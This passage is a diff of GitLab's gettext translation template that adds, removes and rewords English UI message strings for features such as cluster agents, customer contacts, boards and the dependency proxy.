msgid_plural "%d metrics"
msgstr[0] ""
@@ -354,6 +361,11 @@ msgid_plural "%d shards selected"
msgstr[0] ""
msgstr[1] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -407,6 +419,12 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -483,6 +501,11 @@ msgstr[1] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -705,7 +728,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -759,6 +782,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -791,9 +817,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -818,6 +841,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -850,6 +876,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -896,9 +925,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -997,6 +1023,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1128,6 +1157,11 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "(this user)"
msgstr ""
@@ -1137,6 +1171,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1175,6 +1212,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1480,9 +1520,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1519,9 +1556,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1570,9 +1604,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1708,9 +1739,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1957,12 +1985,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2005,6 +2039,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2047,9 +2087,6 @@ msgstr ""
msgid "Add new directory"
msgstr ""
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2119,6 +2156,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2164,9 +2204,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2209,7 +2246,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2218,7 +2255,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2314,6 +2351,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2380,7 +2420,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2917,19 +2957,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3520,9 +3569,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3550,6 +3596,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3709,6 +3758,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -3891,6 +3943,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -3930,6 +3985,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3972,9 +4030,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -3987,9 +4042,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4046,6 +4098,9 @@ msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4054,6 +4109,9 @@ msgid_plural "ApplicationSettings|By making this change, you will automatically
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4466,6 +4524,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4669,6 +4730,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4766,6 +4830,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5414,6 +5481,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5491,6 +5561,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5500,12 +5573,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5518,6 +5600,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5609,6 +5694,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5621,6 +5709,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5912,10 +6003,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5924,6 +6018,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6169,6 +6266,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6463,10 +6563,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6517,9 +6617,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6532,6 +6629,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6595,10 +6695,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6660,6 +6760,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6674,9 +6777,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6875,9 +6975,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7175,6 +7272,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7217,6 +7317,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7259,12 +7362,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7286,16 +7383,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7307,9 +7419,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7319,6 +7452,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7328,28 +7464,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7361,6 +7500,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7373,60 +7515,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7568,15 +7728,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7703,9 +7866,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -7751,12 +7911,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7778,9 +7932,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8081,6 +8232,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8135,6 +8289,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8192,9 +8349,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8231,6 +8385,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8656,6 +8813,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8668,6 +8831,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8707,9 +8873,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9421,7 +9584,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9577,6 +9740,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -9736,6 +9902,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9769,9 +9938,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -9991,6 +10157,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10379,6 +10575,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11026,6 +11225,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11047,6 +11249,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11101,9 +11306,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11149,6 +11351,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11266,6 +11474,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11281,19 +11492,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|There are no images in the cache"
+msgstr ""
+
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11533,9 +11750,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
